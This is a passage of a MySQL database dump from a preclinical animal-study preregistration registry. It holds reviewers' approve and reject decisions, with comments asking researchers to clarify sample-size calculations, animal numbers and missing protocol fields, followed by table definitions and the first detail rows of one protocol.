	(396,208,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(397,209,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(398,211,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(399,210,'reject','Could you please make your explanation of the required sample size more specific? Which statistical test have you powered for (e.g. t-test, or ANOVA) and what statistical variables have you used (e.g. alpha, SD, detection limit)?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(400,212,'reject','Could you please make your explanation of the required sample size more specific? Which statistical test have you powered for (e.g. t-test, or ANOVA) and what statistical variables have you used (e.g. alpha, SD, detection limit)?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(401,210,'reject','The number of 6 week IRI mice is unclear, as you mention 33 in the sum total (Q22), but 32 in the different groups: 6+6+8+12 (Q23). Could you please adjust the numbers or explain the difference.','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(402,212,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(403,210,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(404,213,'reject','Dear Dr Eskildsen.\nCould you provide your hypotheses. How will you measure your primary endpoints (how will the nature of adhesions will be described). Please clarify your sample size calculation. The total number of animals (40) does not match the number of animal described in the groups (40+20+20=80).\nThank you on behalf of the preclinicaltrials team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(405,213,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(406,193,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(407,214,'reject','In order to publish your protocol, could you please make the following amendments:\n1. Could you please switch the German and English title, so that your record is easier to find with English search terms and for non-German speakers?\n2. Regarding the power calculation, please state the actual power calculation in field 21.\n3. Regarding the experimental groups stated in field 23., please indicate the number of animals in each group, e.g. \"184\" (rather than the number of each group currently stated as \"1\").','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(408,216,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(409,200,'reject','Dear Aina,\n\nIn order to publish your protocol, could you please fill in field #11 and #13? When these fields are completed, I can publish your protocol. \n\nThank you in advance!\n\nKind regards,\nFleur','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(410,218,'reject','Dear Ilya Sukhanov, \n\nThank you for submitting your protocol! \nIn order to publish it, could you please fill in all fields (to be specific #15, #29, #31, #32)? You can also fill answer with \'No\'/ \'None\'.\n\nThank you in advance!\n\nKind regards, Fleur','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(411,218,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(412,219,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(413,214,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(414,193,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(415,196,'reject','Dear author,\n\nThank you for submitting your protocol. Using the numbers mentioned in the sample size calculation, I calculated 17 animals per group when using the 20% reduction. Could you check if your calculations are correct and if so, explain better how you got to these numbers? \n\nKind regards,\n\nThe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(416,217,'reject','Dear author,\n\nThank you for submitting your protocol. Unfortunately, I wasn\'t able to follow your sample size calculation. Could you add more information to this section, so we can understand how you got to your sample sizes (both for your experimental groups and your control group)? \n\nKind regards,\n\nThe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(417,223,'reject','Dear author,\n\nThank you for submitting your protocol. In your sample size calculation, you refer to previous work. Could you maybe add the numbers that have been used for the calculation to section 21, so we can follow the sample size calculation based on the referred numbers? Also, I see a pilot experiment has been performed. Has this been published and if so, could you add the link to this data in section 31. Additional data (this is optional, but might be interesting for other researchers as well)?\n\nKind regards,\n\nThe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(418,220,'reject','Dear author,\n\nThank you for submitting your protocol. I understand that it\'s difficult to fill in details due to the exploratory nature of this study. Could you however explain in more detail in the protocol what these olfactory tests are and what kind of behavioral differences you are referring to?\n\nKind regards,\n\nThe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(419,222,'reject','Dear author,\n\nThank you for submitting your protocol. Once it\'s published, you won\'t be able to change the protocol anymore. Since the animal ethics committe has not yet approved your experiments, I would suggest to delay publishing your protocol for now. Otherwise, the protocol published at preclinicaltrials.eu might deviate from the actual experiments and animal numbers approved by the animal ethics committe. After approval, you can change (if necessary) and submit the current protocol.\n\nKind regerads,\n\nThe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(420,196,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(421,220,'reject','Dear author,\n\nThank you for the additional information. However, we are still experiencing problems understanding the goal and experimental setup, and I can imagine other researchers will as well. You mention the tests have been validated previously, could you add the PMID or DOI of the publication of which you follow the methods? Also, could you mention in the Primary Outcome section what you plan to measure (e.g. scoring of sniffing a certain odor stimulus)? \n\nKind regards,\n\nThe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(422,217,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(423,185,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(424,190,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(425,142,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(426,148,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(427,233,'reject','Dear author, \n\nThank you for submitting the protocol. In section 20, you mention you didn\'t do a sample size calculation, because the number of animals is based on previous studies. Could you explain better what the numbers are based on? Is this previous work published and if so, do you have a reference? \n\nKind regards, the PCT team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(428,233,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(429,234,'reject','Dear Dr. Wanderer,\n\nThank you for preregistering your record at Preclinicaltrials.eu\n\nTo help us further in the process, please precise the following information:\n-Item 9: Please make your research field shorter to enable easier searching in the database. You may state additional information in item 27. \n\n-Item 10: Please try to state this item more briefly if possible\n\n-Item 21: please move this information to item 20. In item 21, state the total number of animal used in your study. Be careful, the total sum must correspond to the number of animals defined in the different group (item 22)\n\nIf you have any further question, you may contact me at: julia.menon@heart-institute.nl\n\nBest of luck with your study,\nSincerely,\nJulia Menon','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(430,235,'reject','Dear Dr. Grüter,\n\nThank you for registering your study at Preclinicaltrials.eu\nTo help us in the process, please address the following information:\n\n-Item 2: please, be aware of the typo in \"inflammation\".\n\n-Item 10: please, be aware of the typo in \"Intracranial\" (first word). Also, you state here a lot of experimental information that could be provided in item 19 instead. Please remove this information accordingly (starting from \"Experimental aneurysms are created in adult male Wistar rats\").\n\n-Item 10: please state a clear and forward research question or hypothesis. At the moment you provide a large amount of information, which may be confusing to future readers and may make future searching of your registration difficult.\n\n-Item 20: please provide a sample size calculation or the study you used to determine a sufficient number of animals for your study. If you used a previous study, please provide us with its reference. \n\nIf you have any question, you may e-mail me at: julia.menon@heart-institute.nl.\n\nWishing you best of luck with your study,\nSincerely,\nJulia Menon','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(431,234,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(432,209,'reject','Dear Dr. Valentijn,\n\nThank you for registering your study at Preclinicaltrials.eu\nTo help us in the process, please address the following information:\n\nItem 14: could you please give some further information on the inflammation-associated signaling molecule, cells, and proteins that are of interest to you? For example Interleukins, Cytokines etc.\n\nItem 19: could you please explain further your experimental protocol/design, e.g. how will the surgery procedure occur, how old will be the animals at the time of surgery, how many groups are there, which groups will be undergoing surgery, which one will have a sham surgery (if applicable), from which sample will you evaluate fibrosis, and measure inflammatory responses, etc.\n\nIf you have any question, you may e-mail me at: julia.menon@heart-institute.nl\n\nWishing you the best of luck with your study,\nYours Sincerely,\nJulia Menon','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(433,237,'reject','Dear Dr. Valentijn,\n\nThank you for registering your study at Preclinicaltrials.eu\nTo help us in the process, please address the following information:\n\nItem 7: You mentioned that your expected end date is 14/05/2021, hence in 3 weeks and that you should be starting today. However, you clearly state in item 19 that after 6 weeks the mice are sacrificed. This seems contradictory. Maybe you meant to state 14/05/2022? If so please modify. If not, please write an expected end date matching your experimental protocol. \n\nItem 20: You stated that mice undergoing sham surgery will be 6 per group but wrote down 7 in items 21 and 22. Please revise accordingly. \n\nItem 21: Please provide a number corresponding to the sum of all animals. According to items 20 and 22, you should write down that you will use in total 43 mice.\n\nIf you have any question, you may e-mail me at: julia.menon@heart-institute.nl\n\nWishing you the best of luck with your study,\nYours Sincerely,\nJulia Menon','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(434,209,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(435,237,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(436,238,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(437,239,'reject','Dear Dr. Hoogewerf,\n\nThank you for registering your study at Preclinicaltrials.eu! We performed a thorough evaluation of your protocol.\nTo help us in the process, please address the following information:\n\n-Item 13: Could you please give some examples of readout that you will use for coronary angiography and histology? This would help us and future readers to understand how you will assess patency.  \n\n-Item 17: Please tell us which pig strain you will be using as this is important information.\n\n-Item 19: Please give us some further information on the protocol/experimental procedure. As well, you may want to move the first sentence of item 20 in item 19, as it explains the goal of your study.\n\n-Item 21: Could you please explain why your sum is 16 when you clearly state in item 20 that you expect 19 pigs (with 3 animals in case of drop-out)? This seems contradictory; please revise item 20 or 21 accordingly.\n\n-Item 22: You may want to add your subgroups to this item to increase the understanding. For instance, you could state “Number: 16, of which thoracotomy (N = 8) and sternotomy (N = 8).”\n\nIf you have any question, you may e-mail me at: julia.menon@heart-institute.nl\n\nWishing you the best of luck with your study,\nSincerely,\nJulia Menon','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(438,240,'reject',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(439,240,'reject','Dear Dr Marsella\n\nThank you for registering your study at Preclinicaltrials.eu\nTo help us in the process, please address the following information:\n\n-Item 10: could you please explain the aim of the study and the motivation behind it? You may do so by briefly introducing the use of snake-head fish extract, for example, refer to previous studies conducted with this compound. And also mention in 1 sentence why it is important to assess acute wound in hyperglycaemic animals. \n\n-Item 19: This item would require some further information on the protocol/experimental procedure. Right now, the timeline seems slightly confusing. You may want to rephrase as follow (please fill in the part indicated – “XX” or “add…”):\nFirst, hyperglycaemia will be induced by giving streptozotocin (add route of administration) to the rats. After (add time between the 2 procedure), an acute wound in the dorsal aspect will be made by (add methods of induction). Lastly, rats will be treated orally with snake-head fish extract (add duration of the treatment), while the control group will be given NaCMC as placebo. After XX time, tissue samples and blood samples will be collected to assess XX. \n\n-Item 20: Please provide a sample size calculation or the study you used to determine a sufficient number of animals for your study. If you used a previous study, please provide us with its reference. \n\nIf you have any question, you may e-mail me at: julia.menon@heart-institute.nl\n\nWishing you the best of luck with your study,\nSincerely,\nJulia Menon','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(440,240,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(441,185,'reject','Dear prof. Anders, Thank you for submitting your protocol. I checked the protocol for completeness, and I noticed some points: The text in section 21 should be part of section 20 where you justify the number of animals used. In section 21, it should only state the total number of animals used. In section 26, we would like you to fill in the actual application number given by the animal ethics committee. Could you please address these comments and re-apply your protocol?\n\nKind regards, The Preclinicaltrials.eu Team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(442,242,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(443,243,'reject','Dear Dr. Tungsanga,\n\nThank you for registering your study at Preclinicaltrials.eu\nTo help us in the process, please address the following information:\n\n-Item 10: Please add one sentence explaining why it is important to perform this study, e.g. what is the benefit to human health. \n\n-Item 20: Please provide a sample size calculation or the study you used to determine a sufficient number of animals for your study. If you used a previous study, please provide us with its reference. \n\n-Item 21 and 22: The sum of animals you mentioned in item 21 does not match the number of animals stated in item 22. This seems contradictory. Please state  here the total sum of animals; for you it should correspond to your intervention group + control group + sham group. Please revise item 21 or 22 accordingly. \n\nIf you have any question, you may e-mail me at: info@preclinicaltrials.eu\n\nWishing you the best of luck with your study,\nSincerely,\nJulia Menon','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(444,240,'reject','Dear Dr Taslim \n\nWe are sorry but one item is still not adequately filled in. You must explain clearly in item 20 the sample size calculation that you used. You mention in item 21 that you used \"Federer\'s formula\". However, this formula is not commonly used. Please indicate this formula and the values you used for each variable of the formula so it becomes clear how you decided to use 30 animals in total (15 per group).\nIf you used another study as a basis, please give its reference and cite it if appropriate in item 20. \nIf you have any question, you may e-mail me at: info@preclinicaltrials.eu\n\nOnce this minor issue is modified, we can register your protocol.\nSincerely,\nJulia Menon','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(445,240,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(446,195,'reject','Dear Dr. Schmolzer,\n\nThank you for registering your study at Preclinicaltrials.eu\nTo help us in the process, please address the following information:\n\n-Item 10: please, precise what you mean by “sustained inflation (CC+SI)” as the abbreviation CC+SI may not be known by everyone.\n\n-Item 19: please provide us with some additional information about your protocol/study design. It can be succinct, but a small description of what you will do can help future readers to understand your experiment better. Try to think, for example, about delivering your intervention, how you will detect your outcomes and when. \n\nIf you have any question, you may e-mail me at: info@preclinicaltrials.eu\n\nWishing you best of luck with your study,\nSincerely,\nJulia Menon','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(447,244,'reject','Your explanation of the sample size calculation is very clear. However, I noticed you calculated 25 animals is sufficient, yet you chose to use 28 per group. Is this due to an expected drop-out (of 10% I presume)? Could you add your explanation to the sample size calculation?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(448,244,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(449,195,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(450,208,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(451,143,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(452,139,'reject','Could you please add an explanation to section 20 about why sample size calculation was not performed ?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(453,220,'reject','Thank you for the additional clarification. At last, could you please add an explanation in section 20 why a sample size calculation was not performed?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(454,139,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(455,246,'reject','Dear Dr. Situmorang,\n\nThank you for registering your study at Preclinicaltrials.eu\nTo help us in the process, please address the following information:\n\n-Item 16 : you stated that you used monkeys, but in item 17 you mention that the strain is “Wistar” and in item 14 and 19 you stated “the rats”. This seems contradictory. Could you please revise this item appropriately.\n\n-Item 19: please give us some additional information about your experimental design: for example state that laparotomy was performed before the administration of the treatment, give information of the time between laparotomy and treatment etc. \n\n-Item 19: You stated that rats were divided in 12 groups, however we do not see these 12 groups in item 22. Could you please specify in item 22 how the rats are divided into 12 groups including the duration of treatment. \n\n-Item 20: please specify which number you used for the variable t in the Federer’s Formula. And give the value you found for n, this way we and future users can understand your calculation.\n\nIf you have any question, you may e-mail us at: info@preclinicaltrials.eu\n\nWishing you best of luck with your study,\nSincerely,\nJulia Menon','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(456,246,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(457,248,'reject','In section 14, could you elaborate on the actual enzymes you would like to measure? Also, could you explain in section 20 why you chose 4 animals per group?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(458,249,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(459,239,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(460,248,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(461,251,'reject','Could you please state your sample size calculation in section 20? Furthermore, in section 22, could you provide the number of animals per group behind the \"Number:\" indication?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(462,253,'reject','Could you please give the sample size calculation in section 20? In section 22, could you state the number of animals per group behind \"Number:\"?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(463,255,'reject','You talk abou \"the blood-derived product\" in section 10. Would it be possible to elaborate a little bit on what this product is (if you are allowed by the company of course). In section 21, you very clearly explain how you will use 10 animals, but n=20. But if I understand correctly, this only holds true for the adhesion study, and not for the haemostasis study, which is performed in the liver?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(464,247,'reject','I noticed that in the experimental design, n=6 is given, but in the sample size calculation results in n=12. Could you please explain this further? In addition, could you please fill in the group number in section 22?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(465,252,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(466,256,'reject','In section 20, could you please explain why you did not perform a sample size calculation?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(467,256,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(468,257,'reject','Throughout the protocol, both mice and rats are mentioned as experimental animal. Could you please correct this and state whether it\'s mice or rats you are examining?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(469,251,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(470,253,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(471,257,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(472,255,'reject','Thank you for the changes made. However, I\'m a bit confused as you mention there are three groups in the text in section 21, but you only state two groups in section 22. Is this correct? Maybe you can add the different specific groups in section 22?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(473,256,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(474,247,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(475,258,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(476,255,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(477,254,'reject','I noticed that two different experiments are being combined here. Because they are two different experiments, carried out in succession, in different animal species even, could you please divide them and make two separate protocols? In addition, in section 22 we would like you to fill in the amount of animals for each individual group so that the sum of all groups adds up to the number given in section 21. In the box \"intervention\" you can elaborate on the different groups.','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(478,254,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(479,259,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(480,260,'reject','The number of animals given in section 20, does not add up to the number given in section 21. Also, the different study arms in section 22 should add up to the number given in section 21. Could you please revise? Furthermore, throughout the protocol, several typos are present. For instance, in section 10, I assume it should be: \"The AMPARO nano-based system is able TO deposit (what exactly, biomolecules?) on the surface...\"? And in section 24, criated should be created? Could you please check if the English is correct in the whole protocol?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(481,258,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(482,263,'reject','It is unclear to us what the aim of the study exactly is. In section 10, could you please explain how dayak onion affects acetic acid? Also, we are not familiair with the term \"whriting\" and how dayak onion may inhibit this (at least, that\'s what I assume?). Could you elaborate further in section 13? Thirdly, the number of mice given in section 21 does not correspond to the numbers given in section 19 and 22. Could you please correct this?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(483,264,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(484,266,'reject','Could you move the explanation of sample size calculation to section 20, and in section 21 give the total amount of animals used in this experiment?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(485,269,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(486,200,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(487,266,'reject','I have one last question. I noticed the study status says \"not started\", but in section 28 (link to data), several articles are mentioned. With this question, we aim for a link to the data related to the current protocol. If the the data is stored at an open data repository, then you can add the link here. This can also be changed in the protocol at a later stage after the end of the study.','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(488,222,'reject','Would it be possible to elaborate more about the research protocol/design in section 19? With the current information, I\'m not sure people will understand what you are doing in this trial. For instance, how will you monitor antitumor activity? In what organs? Will you count the number and/or the size of the tumor, or is it based on (bio)markers (I see FFLuc in the mouse model, is that used as a marker for the injected cells)? Please explain the experiment in such a way that researchers from outside will understand. In addition, could you state the sample size calculation in section 20, explaining how you came to the animal numbers per group?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(489,270,'reject','Could you please give the pig strain in section 17?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(490,266,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(491,105,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(492,271,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(493,222,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(494,270,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(495,252,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(496,272,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(497,274,'reject','It seems some confusion may have happened when you submitted your record. Indeed, most of the form was filled with the following message:  \"This is an animal model systematic review.\". \n\nThe platform preclinicaltrials.eu is tailored to the preregistration of primary animal studies. The form that we utilise is not fitted for systematic reviews protocols, which is what you submitted (it seems)\n\nIf you indeed wish to preregister a systematic review protocol, we kindly advise you to look further into PROSPERO (https://www.crd.york.ac.uk/prospero/), a platform dedicated to systematic reviews preregistration. \n\nWe have tried to contact you several times by e-mail but did not receive any answer. If you want to contest this decision, please e-mail us at info@preclinicaltrials.eu. We would be glad to discuss and help you further with the preregistration of your animal studies.','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(498,276,'reject','We see that you have two phases in your experiment. That is okay, but we may need more precision for some items. -----------------\nItem 13 and 14: please specify the outcomes for phase 1 and phase 2 to bring more clarity.--------------\nItem 20: please specify for phase 1 how you calculated the sample size. At the moment, you only specify the expected number of drop-outs. --------------------------\nItem 22: please specify the different groups for both phase 1 and phase 2. Also, in “number”, please specify the number of animals in each group. Please make sure that the total number of animals per phase corresponds to the sum of animals. -------------------------\nItem 23 and 24: if you used different blinding or randomisation methods between phases 1 and 2, please specify it. If it can’t be written down in these items, please place this information in item 27.','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(499,182,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(500,276,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(501,280,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(502,278,'reject','In section 22, could you state the amount of animals used per study arm in the item \"number\" (should all be 9, if I understand correctly)?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(503,277,'reject','In section 21, could you please state the total amount of animals used in these experiments? In section 22, at \"Number\" could you please state the amount of animals used per study group. These numbers should add up to the number given in section 22. For instance, you\'ve used 10 animals in total (section 21). These are devided as 2 for control, 4 for intervention and 4 for sham (section 22).','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(504,277,'reject','Thank you for the made changes. However, it should be stated even simpler. In section 21, the number \"35\" alone is sufficient. In section 22, \"number\" should be \"7\". So in total you would have 5 groups of 7 rats, which add up to 35, the number given in section 21. In section 20, you can add that a minimum of 6 animals per group will be analyzed. Another point of attention: Section 19 starts with 240 animals. So now I\'m not sure if this protocol is only about 35 animals or if I don\'t understand correctly and it should be 240 in total? Please make sure the numbers are corresponding in the different sections.','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(505,277,'reject','In section 22, please type the number of animals per group in the section \"number\". For example:\nType: control\nNumber: 7\nIntervention: Seven rats will be given water on the first four days of experiment and will be presented saccharine for the first time on the fifth day.','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(506,278,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(507,265,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(508,283,'reject','In section 10, could you explain what the abbreviation of PUFA stands for? In section 19, you mention that the animals have been divided in 4 groups of 10 animals. Shouldn\'t this be 5 groups? In section 20, could you give the actual sample size calculation, including used numbers, that has been used to come to 10 animals per group?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(509,284,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(510,152,'reject','Congratulations on publishing your study. Could you please add a link to the data or the publication in section 28?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(511,164,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(512,249,'reject','Congratulations on publishing your research. Could you please add a link to the publication and/or data in section 28?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(513,270,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(514,285,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(515,152,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(516,249,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(517,286,'reject',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(518,283,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(519,286,'reject','Could you please add a more comprehensive explanation of the experiments in section 19? It is now unclear what you are planning to do exactly, for instance what the three stages are that you mention in section 21 and which experimental groups you will have. In section 21, please give the total amount of animals used in this experiment. Additionally, in section 22 you can give all groups with their respective animal number, together adding up to the number given in section 21.','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(520,281,'reject','Could you please add the calculation of the sample size (section 20), and add more details on the method of randomization in section 23?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(521,287,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(522,277,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09');

/*!40000 ALTER TABLE `admin_actions` ENABLE KEYS */;
UNLOCK TABLES;


# Dump of table contact_forms
# ------------------------------------------------------------

DROP TABLE IF EXISTS `contact_forms`;

CREATE TABLE `contact_forms` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `email` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `message` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;



# Dump of table details
# ------------------------------------------------------------

DROP TABLE IF EXISTS `details`;

CREATE TABLE `details` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `protocol_id` bigint(20) unsigned NOT NULL,
  `key` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `value` text COLLATE utf8mb4_unicode_ci NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `details_protocol_id_foreign` (`protocol_id`),
  CONSTRAINT `details_protocol_id_foreign` FOREIGN KEY (`protocol_id`) REFERENCES `protocols` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

LOCK TABLES `details` WRITE;
/*!40000 ALTER TABLE `details` DISABLE KEYS */;

INSERT INTO `details` (`id`, `protocol_id`, `key`, `value`, `created_at`, `updated_at`)
VALUES
	(5000,94,'title','\"Determination of retention with a hydrogel\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5001,94,'contact_name','\"Mira van der Naald\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5002,94,'contact_role','\"Executive researcher\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5003,94,'contact_email','\"m.vandernaald@umcutrecht.nl\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5004,94,'study_centre','[{\"name\":\"University of Utrecht\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5005,94,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5006,94,'start_date','\"2017-06-06\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5007,94,'end_date','\"2018-03-21\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5008,94,'study_status','\"active\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5009,94,'research_field','\"Cardiology\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5010,94,'hypothesis','\"Application of cells with a gel increases the retention compared to injection of cells alone.\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5011,94,'intervention_type','\"application_method\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5012,94,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5013,94,'primary_readout_parameter','\"Efficacy\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
